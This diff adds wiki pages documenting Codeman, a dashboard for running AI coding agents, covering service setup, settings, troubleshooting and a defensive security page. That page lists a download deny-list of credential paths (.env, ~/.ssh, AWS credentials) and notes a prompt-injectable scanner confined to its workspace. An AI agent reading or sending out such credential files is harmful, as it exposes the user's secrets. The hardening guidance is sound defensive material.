+  "http://www.apple.com/DTDs/PropertyList-1.0.dtd">

+</plist>
+EOF
+launchctl bootstrap gui/$(id -u) ~/Library/LaunchAgents/com.codeman.web.plist
+```
+
+Prefer `codeman service install` where you can. It handles the PATH problem for you.
+
+## Logs

+
+## Updating
+
+| Install route | Update with                                                             |
+| ------------- | ------------------------------------------------------------------------ |
+| Installer     | Re-run the one-liner, or **App Settings → System → Updates**.             |
+| npm           | `npm update -g aicodeman`                                                 |
+| git clone     | `git pull && npm install && npm run build`, then restart.                 |
+
+### The in-app updater
+
+**App Settings → System → Updates**, for git-clone installs supervised by systemd or
+launchd. npm installs report as non-updatable, and an unsupervised install is told to
+restart manually.
+
+The interesting part is that the update restarts the very process running it. So the real
+work runs in a **detached script that outlives the restart** and writes progress to a status
+file, which the browser polls across the connection drop. A dirty tree is stashed rather
+than discarded.
+
+### After updating
+
+Sessions are unaffected: they live in tmux and the server reattaches. If the UI looks stale,
+reload; on iOS Safari, close the tab completely and reopen.
+
+## Running two instances
+
+The data directory and the tmux socket are process wide, so a second server on the defaults
+will discover and attach the first one's sessions. Scope both together:
+
+```bash
+CODEMAN_INSTANCE=beta CODEMAN_PORT=5000 codeman web
+```
+
+Service unit names are instance-scoped too, so a beta instance can be installed as its own
+service without colliding with the main one. `CODEMAN_DATA_DIR` and `CODEMAN_TMUX_SOCKET`
+exist for the rare case where they need to differ, but setting only one of them recreates
+exactly the problem you were avoiding.
+
+## The tunnel as a service
+
+```bash
+systemctl --user enable codeman-tunnel
+loginctl enable-linger $USER
+```
+
+Or the toggle in **App Settings → System → Remote access**. See
+[Remote Access](Remote-Access).
+
+## Health checks
+
+```bash
+curl -s localhost:3000/api/status | jq '.version, .uptime'
+codeman web --status
+codeman doctor
+```
+
+Add `-k` and the `https://` URL on an HTTPS install.

+# Security
+
+The honest version first: **Codeman's dashboard is a remote code execution surface, by
+design.** It starts agents with permission prompts skipped by default, so anyone who can
+reach it can run arbitrary code as your user, on your machine. Every protection in Codeman
+exists to control who that is.
+
+That is not a flaw to be fixed. It is what "run my coding agent for me" means. The job is to
+make sure the set of people who can reach it is exactly the set you intended.
+
+## The default is safe
+
+A bare `codeman web` binds `127.0.0.1`. Only processes on that machine can reach it, which
+is why shipping with no password by default is defensible. Everything risky starts when you
+expose it.
+
+## Hardening checklist
+
+In order of how much they matter:
+
+1. **Do not expose it without `CODEMAN_PASSWORD`.** Binding a non-loopback host without one
+   starts, but warns loudly. A tunnel refuses outright unless you acknowledge the exposure
+   in the UI.
+2. **Prefer Tailscale over a public tunnel.** Keeping the loopback bind and putting a
+   private network in front of it removes the public attack surface entirely, and gives you
+   real HTTPS. See [Remote Access](Remote-Access).
+3. **Use a long password.** It is the only thing between a public URL and your shell.
+4. **Consider the permission mode.** **App Settings → Agents & CLIs → Claude → Startup
+   Mode** can switch new sessions from skip-prompts to Anthropic's classifier-guarded `auto`
+   mode, to normal prompting, or to an explicit allowed-tools list.
+5. **Use Docker cases for untrusted work.** If you are pointing an autonomous loop at a repo
+   you did not write, [Docker Cases](Docker-Cases) gives it its own filesystem and network
+   for the cost of one checkbox.
+6. **Keep it updated.** Browser-driven attack paths were closed in 0.9.x and hardening is
+   ongoing.
+
+## What protects what
+
+These run on **every** request, including on a default no-password loopback install:
+
+| Layer                        | What it stops                                                                                  |
+| ---------------------------- | ----------------------------------------------------------------------------------------------- |
+| **Host-header allowlist**    | DNS rebinding. A domain rebound to `127.0.0.1` is rejected before any handler runs. Add your own domains with `CODEMAN_ALLOWED_HOSTS`. |
+| **Cross-site Origin guard**  | CSRF on state-changing requests. A *missing* Origin is allowed so curl, the CLI, and hooks keep working; a foreign or opaque one is rejected. |
+| **Raw `text/plain` bodies**  | The CORS simple-request CSRF vector, where a cross-site form could smuggle JSON into a write route with no preflight. |
+| **WebSocket origin check**   | Cross-site WebSocket hijacking. The terminal upgrade closes with code `4003` on failure.        |
+| **Output escaping**          | Stored XSS from agent-derived strings: tool names, command arguments, subagent descriptions.     |
+| **Security headers**         | A strict content security policy, `nosniff`, frame options, and HSTS over HTTPS. CORS is reflected only for loopback origins. |
+
+When authentication is enabled:
+
+| Layer               | Behaviour                                                                                       |
+| ------------------- | ------------------------------------------------------------------------------------------------ |
+| **HTTP Basic**      | `CODEMAN_USERNAME` (default `admin`) and `CODEMAN_PASSWORD`.                                      |
+| **Session cookie**  | A 256-bit opaque token validated server side, so it cannot be forged offline. 24 hours, extended on activity, with a device-context audit trail. |
+| **Rate limiting**   | Ten failed attempts per IP produce a `429` with a 15 minute decay. A correct password or valid cookie recovers immediately even under attack, which matters because all tunnel traffic shares one loopback address. |
+| **QR auth**         | Single-use 60-second tokens with their own separate rate limiter, so a mistyped password cannot lock out QR login. |
+| **Hook endpoints**  | The hook and telemetry endpoints skip Basic auth because they are called from localhost by the CLI, but when auth is on, that bypass additionally requires a per-instance hook secret. |
+
+## File access
+
+Three separate file surfaces, each confined differently, because a single shared rule would
+be wrong for at least one of them:
+
+| Surface              | Rules                                                                                      |
+| -------------------- | -------------------------------------------------------------------------------------------- |
+| **File Viewer**      | Real path resolution before boundary checks, so symlinks cannot escape. Sensitive trees blocked. Edit mode adds an extension allowlist, a size cap, `.git` denial, and optimistic concurrency. It never creates files. |
+| **Attachments**      | An id-based registry, so browser requests never carry absolute paths. The magic-link scanner is prompt-injectable by nature and is therefore force-confined to the session's workspace. Extension allowlist, not a blocklist. |
+| **Path picker**      | Its own root allowlist rather than the workspace confinement. In multi-user mode a non-admin gets only their own user space, because per-user spaces live inside the home directory. |
+
+Downloads block sensitive paths outright (`.env`, credentials files, `~/.ssh`, AWS
+credentials), and SVG and HTML are served as downloads with `nosniff` so they cannot execute
+in the page.
+
+## Supply chain and isolation
+
+- Security-sensitive transitive dependencies are pinned to patched versions, and lockfile
+  integrity is checked on every push and pull request: every entry must resolve to the public
+  registry with a hash.
+- Public assets are scanned for NUL bytes and syntax-checked in CI.
+- `CODEMAN_INSTANCE` scopes the tmux socket and the data directory together, so two
+  instances never attach each other's live sessions.
+
+## What Codeman does not protect against
+
+Stated plainly, because a security page that only lists strengths is not useful:
+
+- **Multi-user mode is not a sandbox.** It separates workspaces. Every session still runs as
+  the same OS account, so a determined user's agent can reach another user's files. For real
+  isolation, pair users with Docker cases or run separate instances under separate OS
+  accounts.
+- **An agent you gave shell access can do anything you can.** Permission modes narrow this;
+  they do not remove it.
+- **A tunnel makes your machine reachable from the internet.** The password is the whole
+  boundary. Treat it accordingly.
+- **Codeman cannot detect your own loopback reverse proxy**, which is why the hook-endpoint
+  bypass requires a secret unconditionally when auth is on.
+- **The agent CLIs have their own trust models.** Pi's project trust executes repo-local
+  TypeScript, for instance. See [Agent CLIs](Agent-CLIs).
+
+## Privacy
+
+No telemetry, no analytics, no phone-home. Codeman's only network traffic is between your
+browser and your server. Your agent CLI's traffic is its own, on your account.
+
+Two features send data outward, both off by default and both stated where they appear: voice
+dictation through your Claude login, and the Read My Mind prediction call.
+
+## Reporting a vulnerability
+
+**Never in a public issue.**
+[SECURITY.md](https://github.com/Ark0N/Codeman/blob/master/.github/SECURITY.md) has the
+private disclosure process and the current list of known limitations.

+# Settings Reference
+
+Two settings surfaces, and the rule that explains why a setting you changed on your laptop
+did not follow you to your phone.
+
+| Surface             | Scope                          | Opened from                  |
+| ------------------- | ------------------------------ | ---------------------------- |
+| **App Settings**    | Global, this Codeman install.  | The header gear.             |
+| **Session Options** | One session.                   | The session's tab.           |
+
+App Settings is a single scrolling document with a rail acting as a table of contents;
+clicking a rail entry scrolls rather than switching. Session Options genuinely switches
+panels.
+
+## Per-device versus synced
+
+Some settings live on the server and follow you to every device. Others are stored in the
+browser and stay put. This is deliberate, not an oversight: your phone wants a different
+font size, a different keyboard bar, and a different set of header buttons than your
+desktop.
+
+| Category                | Examples                                                                        |
+| ----------------------- | ------------------------------------------------------------------------------- |
+| **Per-device, local**   | Skin, WebGL renderer, local echo, CJK input, extended keyboard bar, File Viewer and Cron header buttons. Never sent to the server at all. |
+| **Per-device policy**   | Most `show*` toggles, plan usage chip, language. Stored server-side, but a device only takes the server value when it has no local one of its own. |
+| **Synced**              | Models, effort, CLI options, notification preferences, voice settings, display name, the agent skill and approvals toggles. |
+
+The practical rule: **appearance and input are per device, behaviour is shared.** If a change
+did not follow you, it is in one of the first two rows, and you change it again on that
+device.
+
+## App Settings
+
+### Updates
+
+Current version, a manual check, and the in-app updater. Covers git-clone installs
+supervised by systemd or launchd; npm installs report as non-updatable. See
+[Running As A Service](Running-As-A-Service).
+
+### Terminal & Input
+
+| Setting                       | Default              | Notes                                                                 |
+| ----------------------------- | -------------------- | --------------------------------------------------------------------- |
+| Local Echo                    | On for touch devices | Paints keystrokes locally and flushes on Enter. See [Input And Voice](Input-And-Voice). |
+| CJK Input                     | Off                  | IME composition through a dedicated text field.                        |
+| Extended Keyboard Bar         | Per device           | Which accessory bar phones get. Shell sessions override it while they are active. |
+| Wheel Scrolls Local History   | Off                  | Keeps the wheel on the local buffer instead of forwarding it to the CLI. |
+| Auto Copy Selection           | Off                  | Copies highlighted terminal text to the clipboard the moment you finish selecting it. Ctrl+C still copies on demand. |
+| WebGL Renderer                | On                   | With a GPU-stall watchdog that falls back to DOM rendering.            |
+| Gesture Control               | Off                  | Camera hand tracking. Also needs `CODEMAN_GESTURE=1` on the server.    |
+
+### Header & Panels
+
+Chips for every optional header control, with a live preview of the resulting header:
+
+Run, Font Size, System Stats, Redraw Terminal, Response Viewer, Away Digest, Session
+Manager, Attachments, File Viewer, Multi-monitor, Plan Usage, Lifecycle Log, Monitor,
+Project Insights, File Browser, Subagents, Approvals Inbox, Read My Mind, Ultracode Agents,
+Ultracode Windows, Cron.
+
+Most default to off. The stock desktop header is system stats, File Viewer, and the gear.
+New header controls never appear on phones.
+
+This section also holds background-agent tracking, including whether to track agents for
+every session or only the active tab.
+
+### Appearance
+
+| Setting                | Notes                                                                                     |
+| ---------------------- | ----------------------------------------------------------------------------------------- |
+| Skin                   | Theme palettes, light ones included. Applied before first paint, so no flash of the wrong theme. |
+| Entrance Animations     | Per-surface animation styles for tabs, terminals, windows, and lineage lines. All default to the legacy no-animation behaviour. |
+| Display Name           | Your name in the UI. Cosmetic only; it never renames the package, CLI, API, or storage.    |
+| Interface Language     | English or Simplified Chinese. Per device.                                                 |
+| Session List Layout    | Header tab strip (default) or a collapsible left sidebar. See [The Dashboard](The-Dashboard#session-list-layout). |
+| Tall Tabs              | Taller tab strip.                                                                          |
+| Pop-out Button on Tabs | Adds the detach control to tabs, with a per-tab override.                                  |
+| Spawn Lineage Lines    | Arcs from a parent tab to sessions it spawned. Desktop only, on by default.                |
+| Overview Home Screen   | The phone home screen. On by default.                                                      |
+
+### Models
+
+Claude model cards, the 1M context window switch, and the thinking effort segment. The cards
+and the switch compose into one model choice, so there is no separate "which one wins"
+question.
+
+Model and effort are both **soft defaults**: the model is written into the case's
+`.claude/settings.local.json` and effort is passed at start, so `/model` and `/effort`
+inside a session override them at any time.
+
+### Agents & CLIs
+
+| Setting                          | Notes                                                                                        |
+| -------------------------------- | -------------------------------------------------------------------------------------------- |
+| Startup Mode                     | Claude's permission mode for new sessions. Default skips prompts; `auto` uses Anthropic's classifier-guarded mode; `normal` prompts; or give an explicit allowed-tools list. |
+| Allowed Tools                    | The list used by the explicit mode.                                                            |
+| Ralph / Todo Tracker             | Enables the Ralph loop surfaces.                                                               |
+| Agent Teams                      | Experimental teams. Also needs the CLI's own environment flag.                                 |
+| Codeman Agent Skill              | Injects the agent skill into new Claude sessions per case. Off by default. See [Driving Codeman From An Agent](Driving-Codeman-From-An-Agent). |
+| Remote auto-reconnect            | Reattaches dropped remote SSH sessions. On by default.                                         |
+| Nice priority / value            | Runs agent processes at a lower CPU priority.                                                  |
+| Bypass approvals and sandbox     | Pi's project trust. Read [Agent CLIs](Agent-CLIs) before enabling.                             |
+| Animated status effects          | Cosmetic.                                                                                      |
+
+### Notifications
+
+Master toggle, browser notifications, push subscription, audio alerts, and the idle
+threshold that decides when a quiet session counts as needing you. See
+[Notifications And Approvals](Notifications-And-Approvals).
+
+### Voice
+
+Active provider and the engine behind it, insert mode, language, domain keywords to bias
+recognition, the Deepgram API key, and the opt-in switch for transcribing through this
+server's Claude login, with its live credential status. See
+[Input And Voice](Input-And-Voice).
+
+### Shortcuts
+
+Rebinding for the shortcut registry. See [Keyboard Shortcuts](Keyboard-Shortcuts).
+
+### System
+
+`CLAUDE.md` template for new cases, default working directory, the image watcher, and
+Cloudflare tunnel controls including the tunnel and upload URLs. In multi-user mode, the
+**Users** administration entry is injected here.
+
+## Session Options
+
+Per session, from the tab.
+
+| Panel            | Contains                                                                                   |
+| ---------------- | ------------------------------------------------------------------------------------------- |
+| **Respawn**      | Auto-resume on usage limit, the respawn cycle configuration, presets, duration. See [Keeping Agents Running](Keeping-Agents-Running). |
+| **Session**      | Name, working directory, environment overrides, per-tab pop-out override.                    |
+| **Ralph / Todo** | Loop configuration, iteration and todo caps, circuit breaker reset. See [Autonomous Loops](Autonomous-Loops). |
+| **Summary**      | What this session has done: tokens, activity, run summary.                                   |
+
+Panels that only make sense for Claude are hidden for other run modes rather than shown and
+failing.
+
+## Environment variables
+
+Some things are configured before the server starts, not in the UI:
+
+| Variable                            | Effect                                                                 |
+| ----------------------------------- | ---------------------------------------------------------------------- |
+| `CODEMAN_PORT`                      | Listen port.                                                            |
+| `CODEMAN_HOST`                      | Bind address. Loopback by default.                                      |
+| `CODEMAN_PASSWORD` / `CODEMAN_USERNAME` | HTTP Basic credentials. Username defaults to `admin`.               |
+| `CODEMAN_ALLOWED_HOSTS`             | Extra Host and Origin allowlist entries for a reverse proxy.            |
+| `CODEMAN_INSTANCE`                  | Scopes the data directory and tmux socket together. Required for a second instance. |
+| `CODEMAN_MULTIUSER`                 | Enables multi-user mode.                                                |
+| `CODEMAN_GESTURE`                   | Makes gesture control available to be enabled.                          |
+| `CODEMAN_DOCKER_BRIDGE_HOOKS`       | Lets in-container hooks reach the host on a loopback bind.              |
+| `CODEMAN_FILE_PICKER_ROOTS`         | Extra roots for the path picker.                                        |
+| `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK` | Acknowledges exposing the server with no password.                  |
+
+## Gotchas
+
+- **A setting that did not sync is per device.** Change it again on that device.
+- **The plan usage chip and its telemetry exporter are one setting.** Enabling the chip
+  without the exporter would leave it blank forever, so it is deliberately not separable.
+- **Toggling a header button does nothing on a phone.** Phones deliberately ignore most of
+  the header chips.
+- **Enabling a feature does not retroactively configure existing sessions.** The agent skill
+  injection, for instance, applies at session creation.

+# The Dashboard
+
+What the interface is telling you, and which parts of it are hidden until you turn them on.
+
+Most of Codeman's UI is **opt-in**. A stock install shows a deliberately small header, and a
+feature you read about here may simply not be on screen yet. Where that is the case, this
+page says so and names the setting.
+
+![Codeman dashboard](https://raw.githubusercontent.com/Ark0N/Codeman/master/docs/images/codeman-tour-20260724.png)
+
+## Layout
+
+| Region             | What lives there                                                                       |
+| ------------------ | -------------------------------------------------------------------------------------- |
+| **Header, left**   | The "C" logo (goes home) and the session list, unless you moved it to the sidebar.       |
+| **Header, right**  | Status chips and panel buttons, most of them off by default.                            |
+| **Center**         | The terminal for the active session, or the home screen when nothing is selected.        |
+| **Bottom toolbar** | Run, Stop, Run Shell, the case picker, and the instance counters.                        |
+| **Overlays**       | Panels and modals: Respawn, Cron, Subagents, File Viewer, Settings.                      |
+
+## Session list layout
+
+The session list lives in the header as a horizontal strip by default. With a lot of
+sessions open that strip stops being scannable, so **App Settings → Appearance → Tabs →
+Session List Layout** can move it into a vertical sidebar on the left instead.
+
+| Layout               | Behaviour                                                                       |
+| -------------------- | --------------------------------------------------------------------------------- |
+| **Header tab strip** | The default. Wraps to a second row on desktop, scrolls sideways on a phone.        |
+| **Left sidebar**     | A vertical list with a filter box and a live session count. `Alt+B` collapses it to a narrow rail that keeps the status dots and task badges visible. On a phone it is an off-canvas drawer rather than a docked rail. |
+
+It is the same list either way, just re-hosted: tab order, drag-to-reorder, the `Alt+1`
+to `Alt+9` numbers and every status colour below behave identically in both. The setting is
+per device, so a sidebar on your desktop does not force one onto your phone.
+
+## Session tabs
+
+One tab per session, in your order, and that order syncs across your devices.
+
+**Status is carried by the dot and the tab's own styling:**
+
+| Look                          | Meaning                                                                 |
+| ----------------------------- | ----------------------------------------------------------------------- |
+| Green dot                     | Alive, not currently working.                                            |
+| Pulsing green dot with a ring | Working on a turn.                                                       |
+| Yellow tab, blinking          | The agent is waiting for input from you.                                 |
+| Red tab, blinking             | A question or permission prompt is blocking the session.                 |
+| No dot                        | The session is not running.                                              |
+
+![Tab alerts](https://raw.githubusercontent.com/Ark0N/Codeman/master/docs/images/tab-alerts-20260815.png)
+
+The alert states are steady colour with a pulse layered on top, not a blink between the
+alert colour and nothing, so a tab that needs you looks like it needs you at every point in
+the cycle. They survive a page reload: the state is re-seeded from the server on load, so
+reloading while a permission prompt is blocking does not lose the red tab.
+
+**Navigation:**
+
+| Action                          | Keys                                                    |
+| ------------------------------- | ------------------------------------------------------- |
+| Jump to tab N                   | `Alt+1` to `Alt+9` (the number on the tab)              |
+| Next / previous                 | `Ctrl+Tab`, `Alt+[`, `Alt+]`                            |
+| Move the active tab             | `Ctrl+Shift+{`, `Ctrl+Shift+}`                          |
+| Close                           | `Ctrl+W`                                                |
+| Find any session, open or past  | `Ctrl+K` (also `Cmd+K` and `Alt+K`)                     |
+
+Tabs can also be dragged to reorder.
+
+On phones the strip scrolls horizontally instead of wrapping, and the active tab is always
+scrolled into view. It is not reordered to the front, so the `Alt+N` numbering stays stable.
+
+### Lineage arcs
+
+When one session spawns another (an agent starting a worker through the API), Codeman draws
+a coloured arc under the strip connecting parent to child, with one colour per child. It is
+how a fan-out of eight workers stays readable.
+
+Desktop only, and on by default. Turn it off in **App Settings → Appearance**. Arcs are
+skipped for tabs scrolled out of the strip.
+
+## Header controls

+The right side of the header. Almost all of these are off until you enable them in
+**App Settings → Header & Panels**.

+
+New header controls never appear on phones. Phone layout is deliberately minimal and is
+covered in [Mobile Guide](Mobile-Guide).
+
+## Connection state
+
+The dot in the header is the quick read. Two louder surfaces exist because a cached page
+with no server behind it used to look identical to a page with no sessions:
+
+- **A full-screen overlay** when the page has never loaded server state. There is nothing
+  behind it worth preserving.
+- **A banner** when the connection drops after state had loaded, so your scrollback stays
+  readable.
+
+Both wait about 2.5 seconds before appearing, so a deploy that restarts the server does not
+flash a warning at you every time. If the browser reports itself offline, the grace period
+is skipped.
+
+There is also a watchdog for the case where the connection stops delivering without
+erroring. If the server's heartbeat stops arriving, Codeman reconnects on its own rather
+than sitting on a green dot showing frozen data.
+
+## The terminal
+
+A real terminal: xterm.js in the browser, a real PTY on the server, tmux in between. Full
+TUIs render correctly.
+
+Worth knowing:
+
+- **Scrollback.** Agent/TUI sessions pull their entire tmux scrollback on first open.
+  Shell sessions open from a bounded recent tail so a large transcript cannot stall tab
+  switching; press **Load full history** to pull the rest explicitly. Ordinary Shell scrolling
+  stays within the bounded browser buffer so dragging upward remains responsive.
+- **Wheel and touch scrolling** are forwarded into Claude's own transcript on recent Claude
+  versions, so the wheel scrolls the conversation rather than the terminal. `Shift+Wheel` is
+  always local scrollback. Other CLIs scroll locally.
+- **Selection copy.** `Ctrl+C` copies when text is selected and interrupts when it is not.
+  `Ctrl+Shift+C` always copies.
+- **Zero-lag input.** On touch devices, keystrokes paint locally before the round trip. See
+  [Input And Voice](Input-And-Voice).
+- **Renderer.** WebGL by default, with a watchdog that falls back to DOM rendering if the
+  GPU stalls. `?nowebgl` forces DOM rendering for one page load.
+
+## The home screen
+
+With no session selected you get the welcome screen: run buttons for the CLIs Codeman
+found, a QR code when a password is set, cross-session search, and **Resume Conversation**,
+which lists past sessions including Claude conversations started outside Codeman entirely.
+
+Two extras depending on the device:
+
+- **Desktop, wide windows**: your open tabs appear as a rail docked to the left edge, in tab
+  order, with created and last-active stamps. It needs at least 1180px of width; below that
+  it is hidden so it cannot overlap the search panel.
+- **Phones**: tapping the "C" logo gives a session overview instead: NEEDS YOU first, then
+  current sessions, then past ones. On by default.

+
+Session-specific configuration lives in **Session Options**, reachable from the tab. App
+Settings is global; Session Options is per session.
+
+## Search and the session palette
+
+`Ctrl+K` opens the session palette: every session, live or historical, filtered as you
+type. Picking a past one resumes its conversation.
+
+The search box on the home screen is wider in scope. It federates over session metadata,
+run-summary events, and attachment history, filtered by type, case, status, and date. It
+does substring matching over data already in memory, with no regex and no filesystem reads,
+so it is fast and cannot be turned into a traversal.
+
+## Appearance
+
+**App Settings → Appearance** carries the theme skins, including light ones. The choice is
+applied before the first paint, so there is no flash of the wrong theme on load.
+
+The same section has the entrance animations for tabs, terminals, agent windows, and
+lineage lines. All of them default to the legacy no-animation behaviour, so an untouched
+install animates nothing.

+# Troubleshooting
+
+Symptom first. Find the line that matches what you are seeing.
+
+Before anything else, check what version you are on and whether the problem is already
+fixed:
+
+```bash
+codeman --version
+codeman doctor
+```
+
+## Installing and starting
+
+### `Failed to start claude: error: posix_spawnp failed` on macOS
+
+node-pty ships its macOS `spawn-helper` without the executable bit, and macOS launches
+every PTY through it. Codeman detects this and repairs it on the first failure, so updating
+usually fixes it outright. To repair by hand on a clone install:
+
+```bash
+npm run fix:node-pty
+```
+
+It is a `chmod`, not a rebuild, so it does not need Xcode command line tools. The helper
+lives in `prebuilds/darwin-<arch>/`, not `build/Release/`, which does not exist on macOS.
+Linux never sees this.
+
+### `tmux: command not found`
+
+The installer asks before installing packages and remembers a declined answer. Install tmux
+and start again. There is no tmux-free mode: sessions live in tmux.
+
+### The port is already in use
+
+```bash
+codeman web --port 8080     # or set CODEMAN_PORT
+```
+
+If you believe nothing is on 3000, check for a Codeman you already started:
+
+```bash
+codeman web --status
+```
+
+### The terminal area is blank, and the console mentions a missing vendor file
+
+Clone installs build the vendored xterm addon bundles in `postinstall`. If `npm install`
+was interrupted or run with `--ignore-scripts`, those bundles are missing:
+
+```bash
+npm install
+```
+
+They are intentionally not committed to the repository.
+
+### `Case path not found` when clicking Run
+
+The case points at a directory that no longer exists, usually because it was deleted or
+moved outside Codeman. Re-link the case, or create it again.
+
+### The server starts but nothing is reachable
+
+That is the default behaviour, not a failure. Codeman binds `127.0.0.1`. See
+[Remote Access](Remote-Access).
+
+## Reaching the interface
+
+### The dashboard will not load from another device
+
+Check, in order: the bind (loopback by default), a firewall, and then
+[Remote Access](Remote-Access) for a supported way to expose it.
+
+### `403 host not allowed`
+
+The Host header is not in the allowlist, which is the DNS-rebinding guard doing its job. Add
+your domain:
+
+```bash
+CODEMAN_ALLOWED_HOSTS='codeman.example.com,.internal.example.com'
+```
+
+A leading dot matches subdomains.
+
+### The page loads but the terminal never connects
+
+The terminal is a WebSocket. Behind a reverse proxy, the upgrade must be forwarded. The
+upgrade also runs the Host and Origin checks and closes with code `4003` when they fail.
+
+### The UI looks stale after updating
+
+The app shell is cached by a service worker, and static assets are served with a long cache
+lifetime. `index.html` is not cached, and every asset reference is version-stamped, so a
+normal reload picks up a new build.
+
+Two exceptions worth knowing:
+
+- **iOS Safari** can keep serving old JavaScript until the tab is fully closed, not just
+  reloaded. Close the tab and reopen it.
+- If you edit files in dev, changes to `index.html` need a server restart. Changes to `.js`
+  and `.css` do not.
+
+### A full-screen "cannot reach the server" overlay appears
+
+The server is genuinely unreachable, or the connection dropped. Codeman waits about 2.5
+seconds before showing it, so a quick restart does not flash it. Retry re-arms both the
+event stream and the terminal socket.
+
+## Sessions
+
+### A session shows idle while it is clearly working
+
+Update. Claude redraws its prompt roughly once a second throughout a turn, and older idle
+detection treated that as the end of the turn, flipping working sessions to idle a couple of
+seconds in. Current versions confirm against the actual screen before believing it.
+
+### A session is stuck showing busy
+
+For non-Claude CLIs, idle detection is output-based and coarser by necessity: those CLIs
+expose no hooks. A session that has genuinely gone quiet will settle. If it never does,
+interrupt it (`Ctrl+C` with nothing selected).
+
+### The agent asks about bypass permissions every time
+
+That prompt comes from Claude Code, not Codeman. Codeman's default is to start with
+permission prompts skipped, which is what the security model is built around. If you would
+rather it prompted, change **App Settings → Agents & CLIs → Claude → Startup Mode**.
+
+### Sessions vanished after a reboot
+
+Expected. tmux does not survive a reboot, so the sessions are gone. Conversations are not:
+Claude transcripts persist, so the welcome screen's **Resume Conversation** list can pick
+them back up.
+
+### A session restarts, then refuses to restart again
+
+That is the PTY-exit circuit breaker. Repeated rapid PTY exits trip it, and it blocks
+automatic restarts so a broken configuration does not spin forever. Reset it explicitly from
+the session's controls. Reattaching does not clear it, deliberately.
+
+### Sessions I did not create appeared, or my session resized itself
+
+Two Codeman servers are running against the same data directory and tmux socket. The second
+one discovers and attaches the first one's sessions. Give each instance its own scope:
+
+```bash
+CODEMAN_INSTANCE=beta CODEMAN_PORT=5000 codeman web
+```
+
+`codeman web -d` and `codeman service install` both refuse to start a second server on one
+data directory for exactly this reason.
+
+## The terminal
+
+### I cannot scroll back through history
+
+Scrollback behaviour depends on the CLI, and Codeman adjusts what it strips per mode.
+Things to try:
+
+- `Shift+Wheel` always scrolls the local buffer, whatever else is going on.
+- On Claude sessions with a recent CLI, the wheel is forwarded into Claude's own transcript,
+  so it scrolls the conversation rather than the terminal buffer. That is intended.
+- Scrolling to the very top pulls the full tmux scrollback again on demand.
+
+### The wheel does nothing in a Codex session
+
+Codex ignores the mouse reports that forwarding would send, so Codeman does not forward
+there. Scrolling is local, and `Shift+Wheel` behaves the same way.
+
+### `Ctrl+C` copies when I wanted to interrupt
+
+With a selection, `Ctrl+C` copies. With no selection, it interrupts. Clear the selection
+first, or use the **Stop** button. `Ctrl+Shift+C` always copies and never interrupts.
+
+### I typed a prompt but nothing was sent
+
+On touch devices, keystrokes are painted locally and flushed when you press Enter, so text
+on screen has not necessarily reached the agent yet. Press Enter, or the phone toolbar's
+**Enter** button.
+
+If you are sending input over the API instead, your payload must end with `\r` or no Enter
+is ever sent. The request still succeeds and the text sits unsubmitted in the composer. See
+[Driving Codeman From An Agent](Driving-Codeman-From-An-Agent).
+
+## Mobile
+
+### The keyboard covers the terminal, or scroll position jumps
+
+Update first; several rounds of fixes have gone into keyboard resize and scroll restoration.
+
+### I cannot reach the rightmost tabs
+
+The strip scrolls horizontally on phones and the active tab is scrolled into view
+automatically. Swipe the strip itself. If a background render snaps you back, update.
+
+### The space key does nothing on Android
+
+A long-standing Android keyboard bug, fixed some time ago. Update.
+
+### The keyboard will not close
+
+Tap outside the terminal, or tap twice on inert terminal content. Tapping a control does not
+dismiss it, by design.
+
+## Agents and CLIs
+
+### A CLI is installed but Codeman does not offer it
+
+Codeman resolves binaries from the environment the **server** runs in.
+
+```bash
+codeman doctor
+```
+
+If it runs as a service, launchd gives the job a minimal PATH. `codeman service install`
+bakes your PATH into the unit; a hand-written plist does not. Restart the server after
+installing a new CLI.
+
+### Hooks stopped working after switching to HTTPS
+
+Hook callbacks have to accept the self-signed certificate. Recent versions self-heal
+existing cases; if yours predates that, recreate the case so its hooks are rewritten.
+
+### The model or effort I chose is not being used
+
+Both are **soft defaults**, on purpose. The model is written into the case's
+`.claude/settings.local.json` and effort is passed on the command line at start, so `/model`
+and `/effort` inside the session override them at any time. Effort is deliberately never
+passed as an environment variable, because that hard-locks it.
+
+### Tab alerts and approvals never fire in one of my repos
+
+That case is missing its hooks block. Recreating the case rewrites it.
+
+## Docker and remote
+
+### Docker sessions do not detect idle
+
+On a loopback-only bind, a container cannot reach `127.0.0.1` on the host, so in-container
+hooks have nothing to call. Set `CODEMAN_DOCKER_BRIDGE_HOOKS=1` to open a hooks-only
+listener on the docker bridge gateway. Without it, idle detection falls back to output
+watching.
+
+### A rebuilt agent image still has old CLI versions
+
+Always rebuild with `--no-cache`:
+
+```bash
+node scripts/build-agent-image.mjs --no-cache
+```
+
+A plain rebuild reuses the cached `npm install -g` layer and keeps the CLIs frozen at their
+original versions while reporting success.
+
+### A remote SSH session dropped and did not come back
+
+A bounded-backoff watcher reattaches dropped sessions, and it is on by default. Intentional
+kills are never revived. Check the host is reachable and that the remote tmux server is
+still running.
+
+## Gathering diagnostics
+
+```bash
+codeman doctor                                # dependency check
+curl -s localhost:3000/api/status | jq        # full app state
+tmux -L codeman list-sessions                 # what tmux thinks is alive
+journalctl --user -u codeman-web -f           # service logs (Linux)
+tail -f ~/.codeman/web.log                    # detached mode logs
+```
+
+On an HTTPS install, add `-k` to the curl commands and use the `https://` URL.
+
+## Filing a good bug report
+
+Open an [issue](https://github.com/Ark0N/Codeman/issues) with:
+
+- OS and version.
+- Install method: installer, npm, or git clone.
+- `codeman --version`.
+- Browser and version, if the problem is in the UI.
+- Which CLI the session was running, and its version.
+- What you did, what happened, what you expected.
+
+Reports usually get a response within a day, and every release credits its reporters by
+name.

+# Versioning
+
+Codeman follows [semantic versioning](https://semver.org/). This page says what the version
+number actually promises, which matters if you are building anything against Codeman.
+
+## Covered by the version number
+
+Breaking any of these after 1.0 requires a **major** bump:
+
+1. **The CLI.** Command names, documented flags, and their behaviour. The npm package is
+   `aicodeman` and installs both the `aicodeman` and `codeman` commands; renaming either is
+   breaking.
+2. **The HTTP API and SSE channel**, served under `/api/v1` with the uniform envelope and
+   conventional status codes. Endpoint paths, the envelope, `errorCode` values, and SSE event
+   names are all stable.
+3. **Documented deployment environment variables**: `CODEMAN_PASSWORD`, `CODEMAN_USERNAME`,
+   `CODEMAN_HOST`, `CODEMAN_PORT`, `CODEMAN_INSTANCE`, `CODEMAN_ALLOWED_HOSTS`,
+   `CODEMAN_DATA_DIR`, `CODEMAN_TMUX_SOCKET`, plus the `--host`, `--port`, and `--https`
+   flags.
+4. **The published `xterm-zerolag-input` library**, on its own independent version line.
+   Codeman reaching 1.0 says nothing about that package's version.
+
